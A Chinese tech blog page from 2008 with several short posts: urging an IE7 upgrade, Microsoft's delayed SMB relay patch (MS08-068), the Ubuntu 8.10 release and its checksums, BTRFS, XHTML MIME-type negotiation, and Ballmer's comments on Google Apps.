    微软很大度地取消了IE7对盗版Windows的验证:为了让您更安全,哪怕您是盗版Windows用户,也可以升级!
  7. IE6给开发者以及Web环境造成的破坏
    IE6的存在给Web开发者制造了巨大的麻 烦。表面上看,这是开发者的损失,但从大环境来看,开发者无法更快地为用户提供更好的服务:更多的时间放在妥协IE6的“不足之处”上。例如刚才提到的 CSS问题,就必须通过更多低效的JavaScript来处理(我在调试awflasher.com的时候花费了无数的精力去考虑IE6的兼容性);而 Flash遇到的问题,则需要改变服务器压缩机制(由于内容得不到压缩传输,这使得您打开应用程序的速度更慢)

这些理由,排名不分先后。无论如何,我升级相信对您是有意义的。

官方IE7升级地址:http://www.microsoft.com/windows/products/winfamily/ie/default.mspx(好几个朋友说下载的IE7有“问题”,特此提醒:请勿在小网站下载以免中毒)

附:世界Web Developer发起的一个活动:拯救Web开发工程师(中文翻译:Cat Chen)

微软就推迟7年发布SMB补丁做出解释

微软周二发布MS08-068安全更新公告,修复了微软服务器信息块(Server Message Block,SMB)协议中的安全漏洞.微软日前就推迟7年才为这个已知的安全漏洞发布补丁做出了解释.
这个安全安全漏洞能够引起SMB中继攻击,让攻击者安装应用程序,查看、修改或者删除数据,或者使用完全的用户权限创建新的账户.

微软安全反应中心的安全程式经理克里斯多佛·巴德(Christopher Budd)周四在博客中称,虽然微软已经知道了这个安全漏洞,但修复这个漏洞将会破坏用户的网络应用程序.

巴德写道,“当这个问题在2001年首次举报时,我们表示不能在对基于网络的应用程序不产生负面影响的情况下进行修复来解决问题.明确地说,这个影响将会让许多(或者几乎全部)用户基于网络的应用程序不能工作.”

巴德解释称,虽然微软在2001年建议用户使用SMB签名,但是,微软当时知道这个缓和办法对某些用户来说也许并不可用.

据Metasploit博客称,微软SMB安全漏洞是一位人称“Sir Dysti”的安全研究人员在2001年举行的@tlanta.con会议上首次公开披露的.Metasploit今年年初还把SMB中继模块添加到了它的攻击工具中.

Metasploit周二发表博客称,微软发布的SMB补丁仅仅是部分有效.博客作者写道,“微软发布的补丁仅仅在黑客重新连接受攻击电脑的时候才有效,但在黑客通过受攻击电脑中继连接第三方主机时,这个补丁就不起作用了.”

官方正式发布 Ubuntu 8.10 ( Intrepid Ibex )

Ubuntu 官方在刚刚已经正式发布了被受期待的 Ubuntu 8.10 ( Intrepid Ibex ) !其实在这之前就可以在镜像服务器下载 Ubuntu 8.10 ( Intrepid Ibex ) 正式版的ISO镜像文件了,为了不影响 Ubuntu 8.10 正式版的ISO文件向各地镜像服务器分发的进度,我们并没有公布下载链接。目前官方已经正式开放了 Ubuntu 8.10 正式版的ISO文件下载服务。 今天从世界各地涌入的巨大下载量也是对各个官方服务器一次严峻的考验。 Ubuntu 首页宣布 Ubuntu 8.10 正式版发布:

官方的下载界面已经从Ubuntu 8.10 RC 更改为 Ubuntu 8.10 ( Intrepid Ibex ) 正式版了:

Ubuntu 8.10 ( Intrepid Ibex ) 正式版的下载地址:
http://cn.releases.ubuntu.com/8.10/
http://tw.releases.ubuntu.com/8.10/
http://releases.ubuntu.com/releases/8.10/

Ubuntu 8.10 ( Intrepid Ibex ) 正式版ISO镜像文件

MD5码列表

ea6d44667ea3fd435954d6e1f0e89122 *ubuntu-8.10-alternate-amd64.iso
f9e0494e91abb2de4929ef6e957f7753 *ubuntu-8.10-alternate-i386.iso
f9cdb7e9ad85263dde17f8fc81a6305b *ubuntu-8.10-desktop-amd64.iso
24ea1163ea6c9f5dae77de8c49ee7c03 *ubuntu-8.10-desktop-i386.iso
e3028a105a083339be8e5af5afbe7444 *ubuntu-8.10-server-amd64.iso
a2ec9975a91e1228c8292ed9799dc302 *ubuntu-8.10-server-i386.iso
2796c696ab368415a30fddc8278e08b0 *wubi.exe

友情提示: alternate 为文字界面的安装版本, desktop 为包含 Live CD 的图形界面安装版本, server 为服务器版本, i386 为32位的系统版本, amd64 为64位的系统系统版本,请根据你自己的需要下载相应的版本。由于版本比较多,下载的时候不要下错版本了哟,做了又费带宽又费电又费精力的事就不好了:)

BTRFS:更好的Linux文件系统?

所有操作系统的核心是文件系统,它提供了对数据的读写路径。自2001年开始,Ext3一直是主流的Linux文件系统,但是现在出现了另外一种更好的文件系统。
Oracle工程师Chris Mason带来的开发团队研发了名为BTRFS(Better FS)的文件系统。由于英特尔、Red Hat、惠普和IBM等多厂商的支持,BTRFS将成为新一代Linux文件系统的生力军。

Oracle 公司Linux Kernel开发主管Chris Mason表示:“我们主要的目标是扩展Linux可用的存储空间。扩展不仅仅是解决存储空间问题,而且还意味着能够从一个清晰的界面进行管理,让用户看 到使用情况,从而提高可靠性。”Mason指出,虽然硬盘驱动器容量越来越大,但是这些驱动器上的错误率并没有降低下来。Mason表示:“我们需要很容 易地了解到什么时候磁盘中出现错误信息,而且我们需要能够做连续的文件系统检查、以一种更加稳定的方式进行恢复,现在我们实现了这一点。”

对于目前的Ext3 Linux文件系统,扩展以满足大容量存储空间对用户来讲是一种挑战,而这其中有很多原因。原因之一是,Ext3并不是针对企业和消费用户现在正在使用的 大型数据池设计的。Mason指出,在Ext3系统中,每4k的数据就有一个元数据指向这4k数据在驱动器中的位置。所以,当文件容量变得越来越大,元数 据也就越来越多,这样效率就很低。Mason表示:“BTRFS采用了extent,也就是说从这些数据块的起始位置使用磁盘的一个区域。”extent 方法要比Ext3系统4k数据块的方法更高效、更具可扩展性,这也是新的Ext4文件系统(即将推出的2.6.28 Linux内核的组成部分)的一部分。虽然Ext4中增加了extent,但是Mason发现BTRFS还增加了其他一些特性,例如快照、在线文件连续性 检查以及快速增量备份。

Red Hat公司Ric Wheeler表示:“我们认为BTRFS具有成为下一代主流Linux文件系统的潜力。”Wheeler表示,现在Red Hat工程师正在积极开发这个项目。英特尔也对BTRFS很感兴趣。英特尔公司开源技术中心主管Imad Sousou表示,英特尔看好BTRFS,而且正积极致力于BTRFS的研发。英特尔认为,他们具有很好的技术和架构策略来升级Linux文件系统以支持 性能和容错等方面不断增长的需求。惠普也加入到这个行列中来,将他们传统的UNIX加入其中。惠普开源和Linux部门首席技术官Bdale Garbee表示:“惠普对BTRFS很感兴趣,因为BTRFS的目标是为了提供一个与Tru64 AdvFS类似的核心组以及其他功能特性。”今年六月,惠普宣布开源其Tru64 AdvFS文件系统,这款系统最初源自于Digital Equipment公司的Digital Unix。Mason表示,几年前他开始使用Tru64,现在惠普宣布AdvFS的开源将对BTRFS的发展起到重要的推动作用。

Mason预计到2008年年底之前Linux用户将可以使用到测试版的BTRFS。现在他们的目标就是开发一款作为2.6.29 Linux内核一部分的BTRFS。Mason表示:“本周,我们做了巨大的格式变动,未来还有更多小的改动。一旦完成,BTRFS将提供给测试用户使 用。”目前,Mason面临的最大挑战就是如何确保BTRFS的稳定性。Mason表示:“因为我们还将继续增加新的特性,所以未来将会有大量的改变。现 在大多数还只是软件设计以确保能够易于测试,不会引发衰退。”

使用PHP和htaccess为XHTML文件内容协商

在本文中,我讨论了不同的MIME类型可用于XHTML和解释方法的服务与您的文件的最佳MIME类型,这取决于用户代理的能力。使用htaccess或PHP的内容协商,我们可以提供完整的,符合标准的标记我们的文件的标头信息。这是特别 有用与Internet Explorer打交道时,同时提供服务的DOCTYPE的XHTML 1.1连同建议XML声明。

根据RFC标准所产生的IETF,Xhtml网页文件格式兼容可作为任何以下三个MIME类型:

  • text/xml
  • application/xml
  • application/xhtml+xml

然而,虽然所有这三个MIME类型在技术上是正确的,使用text/xml or application/xml可能会产生意想不到的,不一致,不受欢迎的结果。因此,application/xhtml+xml是XHTML文件建议 的MIME类型。这些文件必须遵守的XML格式规范。一般而言,格式良好的XML包括:

*正确嵌套元素
*适当关闭部分
*适当引用属性
*标记性状的小写

当交付application/xhtml+xml良构的XHTML文件任何用户代理是正确处理的。不幸的是,虽然大多数的浏览器了解 application/xhtml+xml MIME type,而Internet Explorer不是显示这些文件的内容,IE浏览器显示空白页,并下载提示。为了防止这种现象,许多开发商和设计师发送他们的XHTML文件使用不正确 的MIME类型:text/html.

当送达此MIME类型的XHTML文件当做HTML处理。这可能会绕过IE的的MIME不足,甚至便利不符合规定的标记。,但它在技术上是不正确的,将引起警告后试图验证。此外, W3C的指导方针提出意见对MIME类型为text/html的XHTML 1.1。

閱讀全文

Google Apps太粗糙 OpenOffice才具威胁

微软首席执行官Steve Ballmer称,Google的应用程序套件太粗糙了,OpenOffice比Google Apps强太多,对于微软的Office也更具威胁性。 在“2008年度Gartner Symposium/ITxpo”技术大会上,Ballmer告诉到场观众,他并不认为Google是微软在办公软件领域最大的对手,Google并不能撼动Office在该领域的霸主地位。

当问及Google的在线软件时,Ballmer称:“人们并不怎么使用它,用户会试用一下Google Apps,但只是试用,并不会去使用。使用它你甚至不能在文件中添加脚注!”

最后他补充说,Google的产品“太原始了”,“我们的产品比Google Docs和Spreadsheets更具竞争力,坦白的说,现在我们的最大对手是OpenOffice和StarOffice。”
a[[s